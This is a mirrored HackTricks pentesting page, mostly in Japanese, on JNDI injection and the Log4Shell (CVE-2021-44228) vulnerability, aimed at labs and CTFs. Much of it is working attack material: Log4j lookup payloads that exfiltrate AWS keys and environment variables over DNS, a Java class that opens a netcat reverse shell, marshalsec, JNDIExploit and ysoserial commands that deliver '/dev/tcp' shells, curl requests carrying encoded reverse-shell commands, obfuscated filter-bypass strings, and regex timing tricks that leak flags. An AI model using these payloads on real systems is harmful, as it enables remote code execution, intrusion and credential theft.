Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 14:40:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md

38 KiB
Raw Blame History

JNDI - Java Naming and Directory Interface & Log4Shell

htARTE（HackTricks AWS Red Team Expert）を通じてゼロからヒーローまでAWSハッキングを学ぶ！

HackTricksをサポートする他の方法：

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

基本情報

JNDIは、1990年代後半からJavaに統合されており、ディレクトリサービスとして機能し、Javaプログラムが名前付けシステムを介してデータやオブジェクトを検索できるようにします。SPI（サービスプロバイダインターフェース）を介してさまざまなディレクトリサービスをサポートし、リモートJavaオブジェクトを含むさまざまなシステムからデータを取得できます。一般的なSPIには、CORBA COS、Java RMI Registry、LDAPなどがあります。

JNDI Naming Reference

Javaオブジェクトは、2つの形式のJNDI Naming Referencesを使用して保存および取得できます。

  • Reference Addresses：オブジェクトの場所を指定します（例：rmi://server/ref）、指定されたアドレスから直接取得できます。
  • Remote Factory：リモートファクトリクラスを参照します。アクセスされると、クラスがリモート位置からダウンロードされてインスタンス化されます。

ただし、このメカニズムは悪用される可能性があり、任意のコードの読み込みと実行につながる可能性があります。対策として：

  • RMI：JDK 7u21以降、デフォルトでjava.rmi.server.useCodeabseOnly = trueに設定され、リモートオブジェクトの読み込みが制限されます。セキュリティマネージャーは、さらに読み込むことができるものを制限します。
  • LDAP：JDK 6u141、7u131、8u121以降、デフォルトでcom.sun.jndi.ldap.object.trustURLCodebase = falseに設定され、リモートで読み込まれたJavaオブジェクトの実行をブロックします。trueに設定すると、セキュリティマネージャーの監視なしにリモートコードの実行が可能です。
  • CORBA：特定のプロパティはありませんが、セキュリティマネージャーは常にアクティブです。

ただし、JNDIリンクを解決する責任があるNaming Managerには組み込みのセキュリティメカニズムが欠けており、任意のソースからオブジェクトを取得できる可能性があります。これにより、RMI、LDAP、CORBAの保護が回避され、任意のJavaオブジェクトの読み込みや既存のアプリケーションコンポーネント（ガジェット）の悪用による悪意のあるコードの実行が可能となります。

攻撃可能なURLの例：

  • rmi://attacker-server/bar
  • ldap://attacker-server/bar
  • iiop://attacker-server/bar

保護措置があるにもかかわらず、信頼されていないソースからのJNDIの読み込みに対する保護が欠如していることや、既存の保護をバイパスする可能性があることから、脆弱性が残っています。

JNDIの例

**PROVIDER_URL**を設定していても、lookupで異なるものを指定することができ、アクセスされます：ctx.lookup("<attacker-controlled-url>") これを悪用して、攻撃者は自分が制御するシステムから任意のオブジェクトを読み込むことができます。

CORBA概要

CORBA（Common Object Request Broker Architecture）は、リモートオブジェクトを一意に識別するために**Interoperable Object Reference (IOR)**を使用します。この参照には、次のような重要な情報が含まれます：

  • Type ID：インターフェースの一意の識別子。
  • Codebase：スタブクラスを取得するためのURL。

CORBAは基本的に脆弱ではありません。セキュリティを確保するためには通常、次の手順が必要です：

  • セキュリティマネージャーのインストール。
  • セキュリティマネージャーを構成して、潜在的に悪意のあるコードベースへの接続を許可します。これは、次のように実現できます：
    • ソケット権限、例：permissions java.net.SocketPermission "*:1098-1099", "connect";。
    • 悪意のあるファイルが配置される可能性のある特定のディレクトリまたはすべてのディレクトリに対するファイル読み取り権限、例：permission java.io.FilePermission "<<ALL FILES>>", "read";。

ただし、一部のベンダーポリシーは寛大であり、これらの接続をデフォルトで許可する場合があります。

RMIコンテキスト

RMI（Remote Method Invocation）に関しては、状況は多少異なります。CORBAと同様に、任意のクラスのダウンロードはデフォルトで制限されています。RMIを悪用するには、通常、セキュリティマネージャーを回避する必要があります。これはCORBAでも関連する偉業です。

LDAP

まず、SearchとLookupを区別する必要があります。
Searchは、ldap://localhost:389/o=JNDITutorialのようなURLを使用して、LDAPサーバーからJNDITutorialオブジェクトを見つけ、その属性を取得します。
Lookupは、名前付けサービス向けであり、名前にバインドされているものを取得したいときに使用されます。

LDAP検索がSearchControls.setReturningObjFlag() with trueで呼び出された場合、返されたオブジェクトは再構築されます。

したがって、これらのオプションを攻撃する方法はいくつかあります。
攻撃者は、実行されるペイロードを導入するLDAPレコードを改ざんすることができ、これによりそれらを収集するシステムで実行されます（LDAPサーバーにアクセスできる場合、多数のマシンを侵害するのに非常に便利です）。これを悪用する別の方法は、たとえばLDAP検索でMitM攻撃を実行することです。

アプリケーションがJNDI LDAP URLを解決するようにする場合、検索されるLDAPを制御でき、エクスプロイト（log4shell）を送り返すことができます。

シリアライズの脆弱性

エクスプロイトはシリアライズされ、デシリアライズされます。
trustURLCodebaseがtrueの場合、攻撃者はコードベースに自分のクラスを提供できます。そうでない場合は、クラスパス内のガジェットを悪用する必要があります。

JNDIリファレンスの脆弱性

このLDAPを攻撃するのはJavaFactoryリファレンスを使用する方が簡単です：

Log4Shell脆弱性

この脆弱性は、Log4jが${prefix:name}形式の特別な構文をサポートしているために導入されます。ここで、prefixはさまざまなLookupsの1つであり、nameは評価されるべきものです。たとえば、${java:version}は現在実行中のJavaのバージョンです。

LOG4J2-313はjndi Lookup機能を導入しました。この機能により、JNDIを介して変数を取得できます。通常、キーは自動的にjava:comp/env/で接頭辞が付けられます。ただし、キー自体に**":"**が含まれる場合、このデフォルトの接頭辞は適用されません。

キーに**":"**が含まれる場合、${jndi:ldap://example.com/a}のように、接頭辞はなく、LDAPサーバーがオブジェクトをクエリします。これらのLookupsは、Log4jの構成およびログが記録されるときの両方で使用できます。

したがって、ユーザーが制御する情報を処理する脆弱なバージョンのLog4jが必要です。そして、これはJavaアプリケーションで広く使用されているライブラリであり、HTTPヘッダーなどの情報（インターネットに面したアプリケーションも含む）をログに記録するためにlog4jが使用されることが非常に一般的であるため、例えばUser-AgentのようなHTTP情報だけでなく、開発者が指定した任意の入力やデータをログに記録するために使用されます。

Log4Shell 関連 CVE の概要

CVE-2021-44228 [重要]

この脆弱性は、log4j-core コンポーネントにおける重大な信頼されていない逆シリアル化の欠陥であり、2.0-beta9 から 2.14.1 までのバージョンに影響します。これにより**リモートコード実行（RCE）**が可能となり、攻撃者がシステムを乗っ取ることができます。この問題は、アリババクラウドセキュリティチームの Chen Zhaojun によって報告され、さまざまな Apache フレームワークに影響を与えます。バージョン 2.15.0 での初期の修正は不完全でした。防御のための Sigma ルールが利用可能です（ルール 1、ルール 2）。

CVE-2021-45046 [重要]

最初は低評価でしたが後に重要度が引き上げられたこの CVE は、CVE-2021-44228 の修正が 2.15.0 で不完全だったことから生じる**サービス拒否（DoS）**の欠陥です。これはデフォルトでない構成に影響を与え、攻撃者がクラフトされたペイロードを使用して DoS 攻撃を引き起こすことができます。ツイート でバイパス方法が紹介されています。この問題は、メッセージ検索パターンの削除と JNDI のデフォルト無効化により、バージョン 2.16.0 および 2.12.2 で解決されています。

CVE-2021-4104 [高]

JMSAppender を使用する非デフォルト構成の Log4j 1.x バージョン に影響を与えるこの CVE は、信頼されていない逆シリアル化の欠陥です。1.x ブランチには修正が利用できず、エンドオブライフであるため、log4j-core 2.17.0 へのアップグレードが推奨されています。

CVE-2021-42550 [適度]

この脆弱性は、Log4j 1.x の後継である Logback ロギングフレームワーク に影響を与えます。以前は安全と考えられていたこのフレームワークが脆弱性を抱えていることが判明し、問題を解決するために新しいバージョン（1.3.0-alpha11 および 1.2.9）がリリースされました。

CVE-2021-45105 [高]

Log4j 2.16.0 には DoS の欠陥があり、この CVE を修正するために log4j 2.17.0 がリリースされました。詳細は BleepingComputer の レポート に記載されています。

CVE-2021-44832

log4j バージョン 2.17 に影響を与えるこの CVE は、攻撃者が log4j の構成ファイルを制御する必要があります。これは構成された JDBCAppender を介した潜在的な任意のコード実行を含みます。詳細は Checkmarx ブログ投稿 で入手できます。

Log4Shell の悪用

発見

この脆弱性は、保護されていない場合には非常に簡単に発見できます。なぜなら、あなたのペイロードで指定したアドレスに少なくともDNS リクエストを送信するからです。したがって、以下のようなペイロードがあります：

  • ${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}（canarytokens.com を使用）
  • ${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}（interactsh を使用）
  • ${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}（Burp Suite を使用）
  • ${jndi:ldap://2j4ayo.dnslog.cn}（dnslog を使用）
  • ${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}（huntress を使用）

DNS リクエストを受信したからといって、アプリケーションが悪用可能（または脆弱）であるとは限りません。それを悪用する必要があります。

{% hint style="info" %} バージョン 2.15 を悪用するには、localhost チェックバイパスを追加する必要があります：${jndi:ldap://127.0.0.1#...} {% endhint %}

ローカル発見

次のコマンドを使用して、ライブラリのローカル脆弱性のバージョンを検索します：

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"

検証

以前にリストされたいくつかのプラットフォームでは、リクエスト時にログに記録される変数データを挿入することができます。
これは2つのことに非常に役立ちます:

  • 脆弱性を検証するため
  • 脆弱性を悪用して情報を外部流出するため

たとえば、次のようなリクエストを送信できます:
または${**jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}**のようなもので、環境変数の値を含むDNSリクエストが受信された場合、アプリケーションが脆弱であることがわかります。

他にも外部流出を試みることができる情報:

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

Any other env variable name that could store sensitive information

RCE 情報

{% hint style="info" %} JDK バージョンが 6u141 より上、7u131 より上、または 8u121 より上のホストは、LDAP クラスローディング攻撃ベクトルに対して保護されています。これは、com.sun.jndi.ldap.object.trustURLCodebase のデフォルトの非アクティブ化によるもので、これにより JNDI が LDAP を介してリモートコードベースをロードすることが防止されます。ただし、これらのバージョンは 逆シリアル化攻撃ベクトルに対しては保護されていないことに注意することが重要です。

これらの高い JDK バージョンを悪用しようとする攻撃者は、Java アプリケーション内で 信頼されたガジェット を利用する必要があります。この目的のためには、ysoserial や JNDIExploit などのツールがよく使用されます。一方、低い JDK バージョンを悪用することは比較的簡単です。これらのバージョンは任意のクラスをロードして実行するように操作できます。

詳細情報（RMI および CORBA ベクトルの制限など）については、以前の JNDI Naming リファレンスセクションを参照するか、https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know/ をご覧ください。 {% endhint %}

RCE - カスタムペイロードを使用した Marshalsec

これを THM ボックス でテストできます: https://tryhackme.com/room/solar

ツール marshalsec を使用します（jar バージョンは こちら で入手可能）。このアプローチは、LDAP リファラルサーバーを確立して、接続を二次的な HTTP サーバーにリダイレクトし、そこで脆弱性がホストされます。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip_http_server>:8000/#Exploit"

ターゲットに逆シェルコードを読み込ませるために、以下の内容でExploit.javaという名前のJavaファイルを作成します:

public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.ATTACKER.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}

Javaファイルをクラスファイルにコンパイルするには、javac Exploit.java -source 8 -target 8を使用します。次に、クラスファイルが含まれるディレクトリでHTTPサーバーを起動します: python3 -m http.server。marshalsec LDAPサーバーがこのHTTPサーバーを参照するようにします。

以下のようなペイロードをディスパッチして、脆弱なWebサーバーでexploitクラスの実行をトリガーします:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

注意: このエクスプロイトは、Javaの設定がLDAP経由でリモートコードベースの読み込みを許可していることに依存しています。これが許可されていない場合は、信頼されたクラスを悪意のあるコードの実行に悪用することを検討してください。

RCE - JNDIExploit

{% hint style="info" %} 一部の理由により、このプロジェクトはlog4shellの発見後に作者によってgithubから削除されました。https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/tag/v1.2でキャッシュされたバージョンを見つけることができますが、作者の決定を尊重したい場合は、この脆弱性を悪用する別の方法を使用してください。

さらに、wayback machineでソースコードを見つけることはできませんので、ソースコードを分析するか、実行するjarを実行することを選択してください。実行する内容がわからないことを覚えておいてください。 {% endhint %}

この例では、脆弱なlog4shellを記録する脆弱なWebサーバーをポート8080で実行できます: https://github.com/christophetd/log4shell-vulnerable-app (READMEに実行方法が記載されています). この脆弱なアプリは、HTTPリクエストヘッダー X-Api-Version の内容をlog4shellの脆弱なバージョンで記録しています。

その後、JNDIExploitのjarファイルをダウンロードして、次のように実行できます:

wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access

After reading the code just a couple of minutes, in com.feihong.ldap.LdapServer and com.feihong.ldap.HTTPServer you can see how the LDAP and HTTP servers are created. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.
In com.feihong.ldap.gadgets you can find some specific gadgets that can be used to excute the desired action (potentially execute arbitrary code). And in com.feihong.ldap.template you can see the different template classes that will generate the exploits.

You can see all the available exploits with java -jar JNDIExploit-1.2-SNAPSHOT.jar -u. Some useful ones are:

ldap://null:1389/Basic/Dnslog/[domain]
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# But there are a lot more

したがって、この例では、すでにその脆弱性のあるDockerアプリケーションが実行されています。攻撃するには：

# Create a file inside of th vulnerable host:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Get a reverse shell (only unix)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

攻撃を送信すると、実行したターミナルにいくつかの出力が表示されますJNDIExploit-1.2-SNAPSHOT.jar。

他の攻撃オプションを確認するにはjava -jar JNDIExploit-1.2-SNAPSHOT.jar -uをチェックしてください。さらに、必要な場合はLDAPおよびHTTPサーバーのポートを変更できます。

RCE - JNDI-Exploit-Kit

前の脆弱性を悪用するために、JNDI-Exploit-Kitを使用してみることができます。
被害者に送信するURLを生成することができます：

# Get reverse shell in port 4444 (only unix)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

この攻撃は、THMソーラールームのような研究室で動作します。ただし、一般的には動作しません（デフォルトではJavaはLDAPを使用してリモートコードベースを読み込むように構成されていないため）私は、これが信頼されたクラスを悪用して任意のコードを実行するためではないためだと考えています。

RCE - JNDI-Injection-Exploit-Plus

https://github.com/cckuailong/JNDI-Injection-Exploit-Plus は、動作可能なJNDIリンクを生成し、RMIサーバー、LDAPサーバー、HTTPサーバーを起動してバックグラウンドサービスを提供する別のツールです。\

RCE - ysoserial & JNDI-Exploit-Kit

このオプションは、特定のクラスのみを信頼し、誰でも信頼しないように構成されたJavaバージョンを攻撃するのに本当に役立ちます。したがって、ysoserialは、信頼されたクラスのシリアル化を生成するために使用され、これらは任意のコードを実行するためのガジェットとして使用できます（ysoserialによって悪用される信頼されたクラスは、エクスプロイトが機能するために被害者のJavaプログラムで使用されなければなりません）。

ysoserialまたはysoserial-modifiedを使用して、JNDIによってダウンロードされる逆シリアル化エクスプロイトを作成できます：

# Rev shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

使用JNDI-Exploit-Kit生成JNDIリンクを、脆弱なマシンからの接続を待つためのエクスプロイトを生成します。JNDI-Exploit-Kitによって自動生成される異なるエクスプロイトまたはあなた自身またはysoserialによって生成された独自の逆シリアル化ペイロードを提供することができます。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

今後、脆弱性を悪用し、リバースシェルを取得するために生成されたJNDIリンクを簡単に使用できます。脆弱なバージョンのlog4jに送信するだけです: ${ldap://10.10.14.10:1389/generated}

バイパス

${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"

自動スキャナー

テスト用ラボ

Log4Shell攻撃後の利用

このCTF解説では、Log4Jの一部の機能を悪用することが可能であることがよく説明されています。

Log4jのセキュリティページには興味深い文がいくつかあります：

Java 8向けのバージョン2.16.0から、メッセージルックアップ機能が完全に削除されました。構成内のルックアップは引き続き機能します。さらに、Log4jは今後、デフォルトでJNDIへのアクセスを無効にします。構成内のJNDIルックアップを明示的に有効にする必要があります。

バージョン2.17.0から（およびJava 7およびJava 6向けの2.12.3および2.3.1）、構成内のルックアップ文字列のみが再帰的に展開されます。他の使用法では、トップレベルのルックアップのみが解決され、ネストされたルックアップは解決されません。

これは、デフォルトではjndiの悪用を忘れる必要があることを意味します。さらに、再帰的なルックアップを実行するには、それらを構成する必要があります。

たとえば、このCTFでは、次のようにファイルlog4j2.xmlで構成されていました：

<Console name="Console" target="SYSTEM_ERR">
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
</PatternLayout>
</Console>

Env Lookups

このCTFでは、攻撃者は${sys:cmd}の値を制御し、環境変数からフラグを外部に送出する必要がありました。
前回のペイロードで見られるように、**${env:FLAG}**などの異なる方法で環境変数にアクセスする方法があります。このCTFではこれは役に立ちませんでしたが、他の実際のシナリオでは役立つかもしれません。

Exfiltration in Exceptions

このCTFでは、log4Jを使用してJavaアプリケーションのstderrにアクセスできませんでしたが、Log4Jの例外はstdoutに送信され、これはPythonアプリで出力されました。これは、例外をトリガーすることでコンテンツにアクセスできることを意味します。フラグを外部に送出するための例外は次のとおりです: ${java:${env:FLAG}}. これは、**${java:CTF{blahblah}}**が存在せず、フラグの値が表示される例外が発生するため機能します:

Conversion Patterns Exceptions

補足として、新しい変換パターンをインジェクトし、stdoutに記録される例外をトリガーすることもできます。例えば:

これは、エラーメッセージ内のデータを外部に送出するのには役立ちませんでした。なぜなら、変換パターンの前にルックアップが解決されなかったからですが、検出など他の用途には役立つかもしれません。

Conversion Patterns Regexes

ただし、正規表現をサポートする変換パターンを使用して、バイナリサーチや時間ベースの動作を悪用して、ルックアップから情報を外部に送出することが可能です。

  • 例外メッセージを介したバイナリサーチ

変換パターン**%replaceは、文字列からコンテンツを置換するために正規表現**を使用できます。次のように機能します: replace{pattern}{regex}{substitution}
この動作を悪用すると、文字列内で正規表現が一致した場合に例外をトリガーさせることができます（一致しない場合は例外が発生しません）:

%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
## and ONLY if it's found ${error} will be resolved with will trigger an exception
  • Time based

前のセクションで言及されているように、%replace は regexes をサポートしています。そのため、ReDoS ページ からのペイロードを使用して、フラグが見つかった場合に タイムアウト を引き起こすことが可能です。
例えば、%replace{${env:FLAG}}{^(?=CTF)((.))*salt$}{asd} のようなペイロードは、その CTF で タイムアウト を引き起こします。

この解説記事では、ReDoS 攻撃ではなく、増幅攻撃 を使用して応答の時間差を引き起こしました：

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

もしフラグが flagGuess で始まる場合、フラグ全体が 29 個の # で置き換えられます（この文字を使用したのは、おそらくフラグの一部ではないためです）。結果として得られる 29 個の # それぞれが 54 個の # で置き換えられます。このプロセスは 6 回繰り返され、合計で 29*54*54^6* =`` ``96816014208 # が生成されます！

これだけ多くの # を置き換えると、Flask アプリケーションの 10 秒のタイムアウトが発生し、ユーザーに HTTP ステータスコード 500 が送信されます。（フラグが flagGuess で始まらない場合、500 以外のステータスコードが返されます）

参考文献

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: